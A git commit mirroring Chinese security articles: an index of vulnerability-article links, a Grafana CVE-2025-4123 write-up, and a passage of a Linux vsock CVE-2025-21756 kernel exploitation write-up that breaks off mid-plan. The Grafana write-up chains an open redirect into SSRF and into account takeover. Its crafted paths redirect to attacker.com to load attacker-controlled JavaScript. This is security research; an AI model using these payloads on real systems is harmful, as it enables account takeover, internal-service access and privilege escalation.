mirror of
https://github.com/gelusus/wxvl.git
synced 2025-08-13 11:28:20 +00:00
渗透工具箱V8 集成Web扫描、漏洞利用、抓包、免杀等等|漏洞探测、Linux内核漏洞利用CVE-2025-21756：Vsock 攻击、【Web实战】一次空白页面的“妙手回春”嘎嘎出严重漏洞、杭州九麒科技 BigAnt-Admin uploadMultipleFile.html 任意文件上传漏洞、翻倍回归，实物好礼。端午挖洞，漏洞必“粽”！、Grafana CVE-2025-4123：SSRF 和账户接管漏洞完整解读、全网首发！CVE-2025-24813 Tomcat 最新 RCE 分析复现、
This commit is contained in:
test
parent
00c6ce6696
commit
f80be558ab
@ -14403,5 +14403,12 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI2NzAwOTg4NQ==&mid=2649795216&idx=2&sn=d7cde799c6ed900c2698161c0c56e9e6": "因不满漏洞分级，发现者公布WinServer2025 0day细节",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNzUxMjU5OQ==&mid=2247485423&idx=1&sn=d9bde7cd03a3dc78b49d5fea5db6ef8f": "代码审计| U8 FileManageServlet 文件读取漏洞分析",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU2NDY2OTU4Nw==&mid=2247520685&idx=1&sn=2148af7e1e40d55f1ed68fc0748a6e17": "Apache Httpd 常见漏洞解析（全）",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIzMDQwMjg5NA==&mid=2247507223&idx=1&sn=b55962eb35d5b103d92307f7e2f0b138": "【一周安全资讯0524】《2025年深入推进IPv6规模部署和应用工作要点》印发；英特尔CPU曝重大安全漏洞，可导致内存泄露"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIzMDQwMjg5NA==&mid=2247507223&idx=1&sn=b55962eb35d5b103d92307f7e2f0b138": "【一周安全资讯0524】《2025年深入推进IPv6规模部署和应用工作要点》印发；英特尔CPU曝重大安全漏洞，可导致内存泄露",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3ODE2MjkxMQ==&mid=2247491626&idx=1&sn=f55c457d659713b518df8651942f1537": "渗透工具箱V8 集成Web扫描、漏洞利用、抓包、免杀等等|漏洞探测",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247530109&idx=1&sn=75ff148b005e2bce0789e1879e64c919": "Linux内核漏洞利用CVE-2025-21756：Vsock 攻击",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNzY5MTg1Ng==&mid=2247487813&idx=6&sn=82b64fad1360284dfe652b3f1df2aea8": "【Web实战】一次空白页面的“妙手回春”嘎嘎出严重漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&mid=2247491565&idx=1&sn=b56914958f73bce32eb0443897986322": "杭州九麒科技 BigAnt-Admin uploadMultipleFile.html 任意文件上传漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg5OTYwMTY5MA==&mid=2247522496&idx=1&sn=03908f5716152bca098c167b96452dd1": "翻倍回归，实物好礼。端午挖洞，漏洞必“粽”！",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwOTE5MDY5NA==&mid=2247506454&idx=1&sn=b4531761caf101bef0abf29b9897baca": "Grafana CVE-2025-4123：SSRF 和账户接管漏洞完整解读",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNzY5MTg1Ng==&mid=2247487813&idx=1&sn=c8f2fc003c6b314c308c9b2c966f62db": "全网首发！CVE-2025-24813 Tomcat 最新 RCE 分析复现"
|
||||
}
|
||||
667
doc/2025-05/Grafana CVE-2025-4123：SSRF 和账户接管漏洞完整解读.md
Normal file
667
doc/2025-05/Grafana CVE-2025-4123：SSRF 和账户接管漏洞完整解读.md
Normal file
@ -0,0 +1,667 @@
|
||||
# Grafana CVE-2025-4123：SSRF 和账户接管漏洞完整解读
|
||||
haidragon 安全狗的自我修养 2025-05-24 00:05
|
||||
|
||||
https://nightbloodz.github.io/grafana-CVE-2025-4123/
|
||||
# 概括
|
||||
|
||||
当 Web 应用程序采用 URL 参数并将用户重定向到指定的 URL 而不进行验证时，就会发生开放重定向。
|
||||
/redirect?url=https://evil.com
|
||||
--> (302 Redirect) --> https://evil.com
|
||||
这个问题本身可能看起来并不危险，但这种类型的漏洞却揭示了两个独立的漏洞：一个是完全读取的 SSRF 漏洞，另一个是账户接管漏洞。
|
||||
在这篇文章中，我将逐步讲解我是如何发现这两个漏洞的。
|
||||
# 为什么选择 Grafana？
|
||||
|
||||
Grafana 是一个开源分析平台，主要用 Go 和 TypeScript 构建，用于可视化来自 Prometheus 和 InfluxDB 等来源的数据。
|
||||
我觉得在这个 Web 应用中发现漏洞是一个不小的挑战，所以我下载了源代码并开始调试——尽管这是我第一次使用 Go 语言。我决定专注于应用程序中未经身份验证的部分。
|
||||
# 入口点：开放重定向
|
||||
|
||||
我检查了所有未认证的端点定义在api/api.go
|
||||
|
||||
...
|
||||
|
||||
// not logged in views
|
||||
|
||||
r.Get(
|
||||
"/logout"
|
||||
, hs.Logout)
|
||||
|
||||
r.Post(
|
||||
"/login"
|
||||
, requestmeta.SetOwner(requestmeta.TeamAuth), quota(
|
||||
string
|
||||
...
|
||||
|
||||
r.Get(
|
||||
"/login/:name"
|
||||
, quota(
|
||||
string
|
||||
(auth.QuotaTargetSrv)), hs.OAuthLogin)
|
||||
|
||||
|
||||
r.Get(
|
||||
"/login"
|
||||
, hs.LoginView)
|
||||
|
||||
r.Get(
|
||||
""
|
||||
, hs.Index)
|
||||
|
||||
|
||||
// authed views
|
||||
|
||||
r.Get(
|
||||
"/"
|
||||
, reqSignedIn, hs.Index)
|
||||
|
||||
r.Get(
|
||||
"/profile/"
|
||||
, reqSignedInNoAnonymous, hs.Index)
|
||||
|
||||
...## 功能
|
||||
|
||||
我甚至深入研究了整个应用程序中使用的中间件。这时，我偶然发现了一个负责处理静态路由的函数，它引起了我的注意。
|
||||
|
||||
func
|
||||
staticHandler
|
||||
(ctx *web.Context, log log.Logger, opt StaticOptions)
|
||||
bool
|
||||
{
|
||||
|
||||
if
|
||||
ctx.Req.Method !=
|
||||
"GET"
|
||||
&& ctx.Req.Method !=
|
||||
"HEAD"
|
||||
{
|
||||
|
||||
return
|
||||
false
|
||||
|
||||
}
|
||||
|
||||
|
||||
file := ctx.Req.URL.Path
|
||||
|
||||
for
|
||||
_, p :=
|
||||
range
|
||||
opt.Exclude {
|
||||
|
||||
if
|
||||
file == p {
|
||||
|
||||
return
|
||||
false
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
// if we have a prefix, filter requests by stripping the prefix
|
||||
|
||||
if
|
||||
opt.Prefix !=
|
||||
""
|
||||
{
|
||||
|
||||
if
|
||||
!strings.HasPrefix(file, opt.Prefix) {
|
||||
|
||||
return
|
||||
false
|
||||
|
||||
}
|
||||
|
||||
file = file[
|
||||
len
|
||||
(opt.Prefix):]
|
||||
|
||||
if
|
||||
file !=
|
||||
""
|
||||
&& file[
|
||||
0
|
||||
] !=
|
||||
'/'
|
||||
{
|
||||
|
||||
return
|
||||
false
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
f, err := opt.FileSystem.Open(file)
|
||||
|
||||
if
|
||||
err !=
|
||||
nil
|
||||
{
|
||||
|
||||
return
|
||||
false
|
||||
|
||||
}
|
||||
|
||||
|
||||
..............
|
||||
|
||||
|
||||
}
|
||||
该函数用于根据用户输入从系统中检索文件。自然而然地，我的第一个想法是尝试使用类似路径遍历技术加载任意文件../。
|
||||
|
||||
我将向您解释所有代码和清理措施的流程（了解漏洞很重要）：
|
||||
|
||||
|
||||
|
||||
|
||||
因此，如果您请求/public/file/../../../name，路径将被清理并解析为/staticfiles/etc/etc/name，从而有效地阻止对目标目录之外的非目标文件的访问。
|
||||
|
||||
此外，如果解析的最终路径指向一个文件夹，该StaticHandler函数会检查其中的默认文件 - 通常/index.html从该目录提供服务。
|
||||
|
||||
if
|
||||
fi.IsDir() {
|
||||
|
||||
// Redirect if missing trailing slash.
|
||||
|
||||
if
|
||||
!strings.HasSuffix(ctx.Req.URL.Path,
|
||||
"/"
|
||||
) {
|
||||
|
||||
path := fmt.Sprintf(
|
||||
"%s/"
|
||||
, ctx.Req.URL.Path)
|
||||
|
||||
if
|
||||
!strings.HasPrefix(path,
|
||||
"/"
|
||||
) {
|
||||
|
||||
// Disambiguate that it's a path relative to this server
|
||||
|
||||
path = fmt.Sprintf(
|
||||
"/%s"
|
||||
, path)
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
// A string starting with // or /\ is interpreted by browsers as a URL, and not a server relative path
|
||||
|
||||
rePrefix := regexp.MustCompile(
|
||||
`^(?:/\\|/+)`
|
||||
)
|
||||
|
||||
path = rePrefix.ReplaceAllString(path,
|
||||
"/"
|
||||
)
|
||||
|
||||
}
|
||||
|
||||
http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)
|
||||
|
||||
return
|
||||
true
|
||||
|
||||
}
|
||||
|
||||
|
||||
file = path.Join(file, opt.IndexFile)
|
||||
|
||||
indexFile, err := opt.FileSystem.Open(file)
|
||||
|
||||
....
|
||||
|
||||
}
|
||||
如您所见，如果最终文件是一个目录，并且提供的路由（/public/build）不以结尾/，则服务器将重定向到相同的路径，并在尾部/附加一个。
|
||||
|
||||
GET
|
||||
/
|
||||
public
|
||||
/build HTTP/
|
||||
1.1
|
||||
|
||||
Host:
|
||||
192.168
|
||||
.
|
||||
100.2
|
||||
:
|
||||
3000
|
||||
|
||||
|
||||
|
||||
HTTP
|
||||
/
|
||||
1.1
|
||||
302
|
||||
Found
|
||||
|
||||
Location
|
||||
:
|
||||
/public/
|
||||
build/
|
||||
这种重定向行为就是开放重定向漏洞发生的地方，接下来让我们深入研究一下。
|
||||
# 客观的
|
||||
|
||||
我有一个场景，应用程序根据提供的路由进行重定向，因此最终的重定向URL始终以 开头/。我的目标是创建一个路由，当请求时，重定向到以 开头的有效完整URL /，例如：
|
||||
- //attacker.com/...-->//表示协议相对 URL，使用与当前页面相同的协议（HTTPS）
|
||||
- /\attacker.com/...-->/\做同样的事情
|
||||
# 问题与解决方案
|
||||
## 有效目录
|
||||
|
||||
为了实现重定向功能，我需要一个以 开头的路由/public/，当传递给 时opt.FileSystem.Open(file)，解析为一个有效的目录。
|
||||
|
||||
我从 开始/public/\attacker.com/../..，它解析为一个空字符串""，然后附加到/staticfiles/etc/etc/，触发if fi.isDir(){}代码流。
|
||||
|
||||
/public/\attacker.com/../..-->
|
||||
|
||||
/\attacker.com/../..--> ""-->
|
||||
|
||||
/staticfiles/etc/etc/+ ""-->fi.isDir() TRUE
|
||||
|
||||
现在，我有一种方法可以注入任何将被解释为文件夹的有效载荷opt.FileSystem.Open(file)。
|
||||
/public/{}/../../..
|
||||
## 不一致
|
||||
|
||||
一旦进入该isDir()部分，/public/\attacker.com/../..路径就会到达该http.Redirect()函数。问题在于，该函数也会解析该路径，从而导致重定向路径为/。
|
||||
|
||||
if
|
||||
fi.IsDir() {
|
||||
|
||||
...
|
||||
|
||||
|
||||
|
||||
//path is "/public/\attacker.com/../.." but the final redirect is "/"
|
||||
|
||||
http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)
|
||||
|
||||
return
|
||||
true
|
||||
|
||||
|
||||
...
|
||||
|
||||
}
|
||||
如果我请求/public/\attacker.com/../..
|
||||
```
|
||||
```
|
||||
```
|
||||
```
|
||||
|
||||
因此，基本上，
|
||||
我需要创建一条路由，在加载文件时/../../..通过该路由解析，但在执行重定向时仍未解析。opt.FileSystem.Open(file)
|
||||
http.Redirect()
|
||||
|
||||
在每种情况下，路径的解析方式都不同。
|
||||
- opt.FileSystem.Open(file)需要一个系统文件
|
||||
- http.Redirect(path)需要一个 URL 路径
|
||||
> 问题就是答案?
|
||||
|
||||
- opt.FileSystem.Open(file)视为?普通字符。
|
||||
- http.Redirect(path)解释?为 URL 参数的开头。
|
||||
这意味着/public/\attacker.com/?/../../../..将被这样处理：
|
||||
|
||||
在opt.FileSystem.Open()— >
|
||||
- /public/\attacker.com/?/../../../..解析为""--> /staticfiles/etc/etc/+""是一个有效的文件夹。
|
||||
在http.Redirect()→
|
||||
- /public/\attacker.com/?/../../../..--> 后面的任何内容都?被视为查询字符串，并且不会被解析为路径的一部分。
|
||||
使用?->进行请求%3f：
|
||||
```
|
||||
```
|
||||
```
|
||||
```
|
||||
## 最终有效载荷
|
||||
|
||||
该 URL/public/\attacker.com/?/../../../..需要解析为以 开头的完整 URL /\。
|
||||
我直接使用了以下路径：/public/../\attacker.com/?/../../../..
|
||||
|
||||
当 http.Redirect() 解析路径时，它会删除该/public部分。
|
||||
|
||||
要求：
|
||||
```
|
||||
```
|
||||
```
|
||||
```
|
||||
## 概括
|
||||
|
||||
|
||||
|
||||
# 完整阅读 SSRF
|
||||
|
||||
该开放重定向本身不会对安全产生任何严重影响，因此我需要将其与另一个功能链接起来。
|
||||
|
||||
Grafana 有一个名为的端点/render，用于根据提供的路径生成图像。
|
||||
|
||||
// rendering
|
||||
|
||||
r
|
||||
.Get
|
||||
(
|
||||
"/render/*"
|
||||
, requestmeta.
|
||||
SetSLOGroup
|
||||
(requestmeta.SLOGroupHighSlow), reqSignedIn, hs.RenderHandler)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
此端点使用无头浏览器来呈现用户指定的路由的 HTML，它仅接受相对 URL 路径/route，而不允许呈现来自绝对 URL 的内容https://...。
|
||||
|
||||
但是，如果我使用找到的开放重定向重定向到内部服务会怎么样呢？
|
||||
首先，我尝试google.es使用/render/public/..%252f%255Cgoogle.es%252f%253F%252f..%252f..
|
||||
|
||||
|
||||
|
||||
|
||||
然后我设置了一个无法从外部访问的内部服务
|
||||
，并尝试127.0.0.1:1234加载/render/public/..%252f%255C127.0.0.1:1234%252f%253F%252f..%252f..
|
||||
|
||||
|
||||
|
||||
|
||||
利用此漏洞，我能够完全读取内部服务。由于使用浏览器进行渲染，我甚至可以POST通过精心设计一个表单来发送针对内部服务的请求。
|
||||
|
||||
Grafana 在 Intigriti 上的公共程序不包含该/render端点，因为它默认未启用。
|
||||
此外，这个漏洞需要登录，所以我无法从中获得任何信息。
|
||||
# 通过XSS接管帐户
|
||||
|
||||
这可能是我利用过的实现 XSS 和帐户接管的最佳漏洞链。
|
||||
## 客户端路径遍历
|
||||
|
||||
Grafana 客户端代码的很大一部分允许客户端路径遍历。
|
||||
例如，当你/invite/1在浏览器中加载时，JavaScript 会发出请求来/api/user/invite/1检索邀请信息。
|
||||
|
||||
但是，如果您加载/invite/..%2f..%2f..%2f..%2froute，JavaScript 会解析路径遍历并最终加载/route。
|
||||
|
||||
|
||||
|
||||
|
||||
这创建了一个完美的场景来强制 JavaScript 加载开放重定向，进而从我的服务器获取特制的 JSON。
|
||||
|
||||
但首先，我需要找到一个以不安全的方式加载内容的端点并利用它执行 JavaScript。
|
||||
## 加载恶意 JavaScript 文件
|
||||
|
||||
您可以使用/a/plugin-app/explore来加载和管理插件应用。
|
||||
此功能的 JavaScript 从 URL 中提取插件应用名称，并使用它来向 请求插件信息/api/plugins/plugin-app/settings。
|
||||
|
||||
该/api/plugins/plugin-app/settings文件看起来像这样。
|
||||
|
||||
{
|
||||
|
||||
"name"
|
||||
:
|
||||
"plugin-app"
|
||||
,
|
||||
|
||||
"type"
|
||||
:
|
||||
"app"
|
||||
,
|
||||
|
||||
"id"
|
||||
:
|
||||
"plugin-app"
|
||||
,
|
||||
|
||||
"enabled"
|
||||
:
|
||||
true
|
||||
,
|
||||
|
||||
"pinned"
|
||||
:
|
||||
true
|
||||
,
|
||||
|
||||
"autoEnabled"
|
||||
:
|
||||
true
|
||||
,
|
||||
|
||||
"module"
|
||||
:
|
||||
"/modules/..../plugin-app.js"
|
||||
,
|
||||
//js file to load
|
||||
|
||||
"baseUrl"
|
||||
:
|
||||
"public/plugins/grafana-lokiexplore-app"
|
||||
,
|
||||
|
||||
"info"
|
||||
:
|
||||
{
|
||||
|
||||
"author"
|
||||
:
|
||||
{
|
||||
|
||||
"name"
|
||||
:
|
||||
"Grafana"
|
||||
|
||||
...
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
...
|
||||
|
||||
}
|
||||
/a/plugin-app/explore加载该文件，并执行参数中提供的 javascript "module"。
|
||||
|
||||
/a/plugin-app/explore容易受到客户端路径遍历的攻击，这使我能够在服务器上加载任何路由，而不是/api/plugin-app/settings。
|
||||
|
||||
这使我可以加载开放重定向，从而获取包含我想要的任何 JavaScript 文件的恶意 JSON。
|
||||
|
||||
基本上，我搭建了自己的服务器，并准备好了所有必要的 JS 和 JSON 文件。我只需要托管一个像这样的 JSON 文件：
|
||||
```
|
||||
```
|
||||
|
||||
并加载此路由，/a/..%2f..%2f..%2fpublic%2f..%252f%255Cattacker.com%252f%253Fp%252f..%252f..%23/explore利用客户端路径遍历和开放重定向。
|
||||
|
||||
结果：
|
||||
|
||||
|
||||
|
||||
|
||||
我的恶意 JavaScript 文件被执行，允许我更改受害者的电子邮件并重置他们的密码。
|
||||
## 概括
|
||||
|
||||
|
||||
|
||||
|
||||
我一直以为 Grafana 不可能被黑客攻击。它看起来如此复杂和安全——说实话，它确实如此。
|
||||
|
||||
但发现这个漏洞证明，无论应用程序看起来多么安全，它总是有或最终会有漏洞。
|
||||
|
||||
我无法通过向多个漏洞赏金计划报告来进一步升级该漏洞，因为两种利用途径都需要身份验证
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#
|
||||
|
||||
****
|
||||
|
||||
|
||||
****
|
||||
**rust语言全栈开发视频教程-第一季(2025最新)**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# 详细目录
|
||||
# mac/ios安全视频
|
||||
|
||||
|
||||
# QT开发底层原理与安全逆向视频教程
|
||||
|
||||
|
||||
|
||||
linux文件系统存储与文件过滤安全开发视频教程(2024最新)
|
||||
|
||||
|
||||
|
||||
linux高级usb安全开发与源码分析视频教程
|
||||
|
||||
|
||||
|
||||
**linux程序设计与安全开发**
|
||||
|
||||
|
||||
|
||||
|
||||
****- 
|
||||
|
||||
- #
|
||||
|
||||
-
|
||||
- w
|
||||
i
|
||||
n
|
||||
d
|
||||
o
|
||||
w
|
||||
s
|
||||
网
|
||||
络
|
||||
安
|
||||
全
|
||||
防
|
||||
火
|
||||
墙
|
||||
与
|
||||
虚
|
||||
拟
|
||||
网
|
||||
卡
|
||||
（
|
||||
更
|
||||
新
|
||||
完
|
||||
成
|
||||
）
|
||||
|
||||
- 
|
||||
|
||||
- w
|
||||
i
|
||||
n
|
||||
d
|
||||
o
|
||||
w
|
||||
s
|
||||
文
|
||||
件
|
||||
过
|
||||
滤
|
||||
(
|
||||
更
|
||||
新
|
||||
完
|
||||
成
|
||||
)
|
||||
|
||||
- 
|
||||
|
||||
- U
|
||||
S
|
||||
B
|
||||
过
|
||||
滤
|
||||
(
|
||||
更
|
||||
新
|
||||
完
|
||||
成
|
||||
)
|
||||
|
||||
- 
|
||||
|
||||
- 游
|
||||
戏
|
||||
安
|
||||
全
|
||||
(
|
||||
更
|
||||
新
|
||||
中
|
||||
)
|
||||
|
||||
- 
|
||||
|
||||
- i
|
||||
o
|
||||
s
|
||||
逆
|
||||
向
|
||||
|
||||
- 
|
||||
|
||||
- w
|
||||
i
|
||||
n
|
||||
d
|
||||
b
|
||||
g
|
||||
|
||||
- 
|
||||
|
||||
- 还
|
||||
有
|
||||
很
|
||||
多
|
||||
免
|
||||
费
|
||||
教
|
||||
程
|
||||
(
|
||||
限
|
||||
学
|
||||
员
|
||||
)
|
||||
|
||||
- 
|
||||
|
||||
|
||||
|
||||
|
||||
- 
|
||||
|
||||
|
||||
-
|
||||
- **windows恶意软件开发与对抗视频教程**
|
||||
|
||||
-
|
||||
- 
|
||||
|
||||
- 
|
||||
|
||||
- ****
|
||||
- 
|
||||
|
||||
201
doc/2025-05/Linux内核漏洞利用CVE-2025-21756：Vsock 攻击.md
Normal file
201
doc/2025-05/Linux内核漏洞利用CVE-2025-21756：Vsock 攻击.md
Normal file
@ -0,0 +1,201 @@
|
||||
# Linux内核漏洞利用CVE-2025-21756：Vsock 攻击
|
||||
Ots安全 2025-05-24 08:50
|
||||
|
||||
w
|
||||
|
||||
|
||||
> 文章讲的是Linux内核的一个漏洞，CVE-2025-21756，名字还挺酷，叫“Attack of the Vsock”。这个漏洞其实是个Use-After-Free问题，存在于vsock子系统里，主要是因为引用计数处理得不好，导致攻击者能直接提权到root，拿到系统控制权。作者在文章里详细讲了咋利用这个漏洞，包括怎么绕过AppArmor和kASLR，还用ROP链搞定了代码执行，最后在Linux 6.6.75上拿到了root shell。说实话，这种漏洞挺让人头疼的，Linux内核安全一直是个老大难问题，类似的UAF漏洞之前也见过不少。这篇文章写得挺实在的，感兴趣的朋友可以看看
|
||||
|
||||
|
||||
一开始只是随意浏览KernelCTF提交的内容，但很快就演变成长达数周的深入研究，研究一个看似简单的补丁 - 以及我第一次从 Linux 内核漏洞中获得 root shell！
|
||||
|
||||
在浏览公开的提交电子表格时，我看到了一个有趣的条目：exp237。这个漏洞补丁看起来非常简单，我惊讶于一位研究人员竟然能够利用它进行权限提升。于是，我开始了一段可能会降低我的GPA，甚至偶尔让我怀疑自己是否理智的旅程：我的第一个Linux内核漏洞利用！
|
||||
|
||||
设置环境
|
||||
|
||||
在开始深入开发漏洞利用程序之前，我们需要搭建一个良好的 Linux 内核调试环境。我决定使用QEMU，并结合midas 的精彩文章和 bata 的gdb 内核扩展脚本。我选择从 Linux 内核 6.6.75 开始，因为它与其他研究人员正在利用的版本接近。实际上，我在 WSL 中完成了整个项目，这样我就可以在学校的 Windows 电脑上编写漏洞利用程序了！
|
||||
|
||||
|
||||
|
||||
补丁分析
|
||||
|
||||
从下面的补丁中可以看出，修复仅涉及几行代码。从代码和说明来看，传输重新分配可以触发vsock_remove_sock，从而调用 ，vsock_remove_bound从而错误地减少 vsock 对象上的引用计数器（如果套接字一开始就未绑定）。
|
||||
|
||||
当内核中某个对象的引用计数器达到零时，该对象将被释放到其各自的内存管理器。理想情况下，在释放 vsock 对象后，我们将能够触发某种释放后使用 (UAF) 漏洞，以获得更好的原始权限并提升权限。
|
||||
|
||||
```
|
||||
--- a/net/vmw_vsock/af_vsock.c+++ b/net/vmw_vsock/af_vsock.c@@ -337,7 +337,10 @@ EXPORT_SYMBOL_GPL(vsock_find_connected_socket); void vsock_remove_sock(struct vsock_sock *vsk) {- vsock_remove_bound(vsk);+ /* Transport reassignment must not remove the binding. */+ if (sock_flag(sk_vsock(vsk), SOCK_DEAD))+ vsock_remove_bound(vsk);+ vsock_remove_connected(vsk); } EXPORT_SYMBOL_GPL(vsock_remove_sock);@@ -821,12 +824,13 @@ static void __vsock_release(struct sock *sk, int level) */ lock_sock_nested(sk, level);+ sock_orphan(sk);+ if (vsk->transport) vsk->transport->release(vsk); elseif (sock_type_connectible(sk->sk_type)) vsock_remove_sock(vsk);- sock_orphan(sk); sk->sk_shutdown = SHUTDOWN_MASK; skb_queue_purge(&sk->sk_receive_queue);
|
||||
```
|
||||
|
||||
|
||||
除了这个补丁之外，维护人员还为该漏洞添加了一个测试用例，这对于启动漏洞利用非常有用。
|
||||
|
||||
```
|
||||
#define MAX_PORT_RETRIES 24 /* net/vmw_vsock/af_vsock.c */#define VMADDR_CID_NONEXISTING 42/* Test attempts to trigger a transport release for an unbound socket. This can * lead to a reference count mishandling. */staticvoidtest_seqpacket_transport_uaf_client(const struct test_opts *opts){int sockets[MAX_PORT_RETRIES];structsockaddr_vmaddr;int s, i, alen; s = vsock_bind(VMADDR_CID_LOCAL, VMADDR_PORT_ANY, SOCK_SEQPACKET); alen = sizeof(addr);if (getsockname(s, (struct sockaddr *)&addr, &alen)) { perror("getsockname"); exit(EXIT_FAILURE); }for (i = 0; i < MAX_PORT_RETRIES; ++i) sockets[i] = vsock_bind(VMADDR_CID_ANY, ++addr.svm_port, SOCK_SEQPACKET); close(s); s = socket(AF_VSOCK, SOCK_SEQPACKET, 0);if (s < 0) { perror("socket"); exit(EXIT_FAILURE); }if (!connect(s, (struct sockaddr *)&addr, alen)) { fprintf(stderr, "Unexpected connect() #1 success\n"); exit(EXIT_FAILURE); }/* connect() #1 failed: transport set, sk in unbound list. */ addr.svm_cid = VMADDR_CID_NONEXISTING;if (!connect(s, (struct sockaddr *)&addr, alen)) { fprintf(stderr, "Unexpected connect() #2 success\n"); exit(EXIT_FAILURE); }/* connect() #2 failed: transport unset, sk ref dropped? */ addr.svm_cid = VMADDR_CID_LOCAL; addr.svm_port = VMADDR_PORT_ANY;/* Vulnerable system may crash now. */ bind(s, (struct sockaddr *)&addr, alen); close(s);while (i--) close(sockets[i]); control_writeln("DONE");}
|
||||
```
|
||||
|
||||
|
||||
最初的想法
|
||||
|
||||
由于这是一个UAF漏洞，我最初的想法是尝试跨缓存攻击。我的大致计划如下……
|
||||
1. 触发 vsock 对象的任意释放
|
||||
|
||||
1. 使用一些用户控制的对象来回收页面，例如msg_msg
|
||||
|
||||
1. 破坏 vsock 对象中的某些函数指针以获取代码执行
|
||||
|
||||
我们陷入恐慌！
|
||||
|
||||
在我的虚拟机上稍微修改并运行测试代码（参见crash.c），结果竟然导致了如下所示的内核崩溃！经过一番调试，我们发现 vsock 对象虽然被释放了，但实际上仍然链接到了vsock_bind_table。太棒了！
|
||||
|
||||
|
||||
|
||||
当 AppArmor 在回收套接字上执行 bind() 调用期间取消引用 NULL sk_security 指针时，就会发生恐慌。这证实了 UAF 的存在，并凸显了 LSM 钩子带来的障碍（见下文）。
|
||||
|
||||
障碍＃1：AppArmor + LSM
|
||||
|
||||
我们遇到的第一个主要障碍是 AppArmor。这是上面调用栈中看到的内核调用security_socket_bind和 的地方aa_sk_perm。这security_socket_*两个函数是 Linux 安全模块 (LSM) 钩子，它会调用 AppArmor。那么，我们的套接字是如何通过 AppArmor 安全检查的呢？
|
||||
|
||||
调查问题，显然__sk_destruct调用sk_prot_free，而 调用security_sk_free。因此，当我们触发漏洞以减少 refcnt 并且 vsock 被释放时，sk->sk_security指针将被清零。
|
||||
|
||||
```
|
||||
/** * security_sk_free() - Free the sock's LSM blob * @sk: sock * * Deallocate security structure. */void security_sk_free(struct sock *sk){ call_void_hook(sk_free_security, sk); kfree(sk->sk_security); sk->sk_security = NULL;}
|
||||
```
|
||||
|
||||
但是当我们调用 时security_socket_bind，AppArmor 函数会取消引用这个sk->sk_security结构体。更糟糕的是，几乎每个套接字函数似乎都有一个 LSM 对应函数。简而言之：内核赋予我们一个指向套接字的悬空指针——但 AppArmor 确保我们在使用它做任何有用的事情之前就崩溃了。那么，如果我们甚至无法用回收的套接字调用任何有用的函数，我们又该如何进行 UAF 攻击呢？
|
||||
|
||||
```
|
||||
gef> p security_socket_*security_socket_accept security_socket_getpeername security_socket_bind security_socket_getpeersec_dgram security_socket_connect security_socket_getpeersec_stream security_socket_create security_socket_getsockname security_socket_getsockopt security_socket_sendmsgsecurity_socket_listen security_socket_setsockoptsecurity_socket_post_create security_socket_shutdownsecurity_socket_recvmsg security_socket_socketpair
|
||||
```
|
||||
|
||||
|
||||
我们有两个主要选择。
|
||||
1. 伪造指向虚假对象的 sk_security 指针
|
||||
|
||||
1. 找到一些不受 apparmor 保护的函数
|
||||
|
||||
我决定首先探索选项#2。
|
||||
|
||||
我首先关注的是找到一种方法来泄露一些地址。一些“显而易见”的选择是像getsockopt或 这样的函数getsockname，但这些函数都受到 apparmor 的保护。浏览源代码时，我偶然发现了这个vsock_diag_dump功能。这是一个非常有趣的函数，因为它不受 apparmor 的保护。代码如下所示。
|
||||
|
||||
```
|
||||
staticintvsock_diag_dump(struct sk_buff *skb, struct netlink_callback *cb){// ... snip .../* Bind table (locally created sockets) */if (table == 0) { while (bucket < ARRAY_SIZE(vsock_bind_table)) { structlist_head *head = &vsock_bind_table[bucket]; i = 0; list_for_each_entry(vsk, head, bound_table) { structsock *sk = sk_vsock(vsk); if (!net_eq(sock_net(sk), net)) continue; if (i < last_i) goto next_bind; if (!(req->vdiag_states & (1 << sk->sk_state))) goto next_bind; if (sk_diag_fill(sk, skb, NETLINK_CB(cb->skb).portid, cb->nlh->nlmsg_seq, NLM_F_MULTI) < 0) goto done;next_bind: i++; } last_i = 0; bucket++; } table++; bucket = 0; }// ... snip ...}
|
||||
```
|
||||
|
||||
|
||||
由于我们释放的套接字仍然在绑定表中，因此只有两项检查可以防止我们从套接字中转储任何信息。前一项sk->sk_state检查很容易通过（不需要任何泄漏），但后一项sk_net检查似乎更难。我们如何才能伪造一个sk->__sk_common->skc_net指针而不发生 kASLR 泄漏？我在这方面被困了大约一周，但多亏了 discord 社区的帮助，我才得以克服这个难题！
|
||||
|
||||
Diag Dump Sidechannel 的乐趣与收益
|
||||
|
||||
陷入困境后，我求助于 kernelctf 社区，并在 discord 上分享了上述检查方法。几乎立刻，@h0mbre 就回复了我，建议暴力破解skc_net指针，本质上就是利用vsock_diag_dump侧信道攻击！太棒了🤯！
|
||||
|
||||
|
||||
|
||||
所以总而言之，我们做以下事情来泄漏init_net...
|
||||
1. 喷水管道回收 UAF 插座的页面
|
||||
|
||||
1. 使用受控值逐个 QWORD 地填充每个管道缓冲区
|
||||
|
||||
1. 使用 vsock_diag_dump() 作为侧通道来检测我们覆盖的结构是否“足够有效”以绕过过滤
|
||||
|
||||
1. 一旦 vsock_diag_dump() 停止报告我们的套接字，我们就知道我们损坏了 skc_net
|
||||
|
||||
1. 然后，我们强制执行 init_net 的低位，直到套接字再次被接受 - 从而实现完全的 kASLR 绕过
|
||||
|
||||
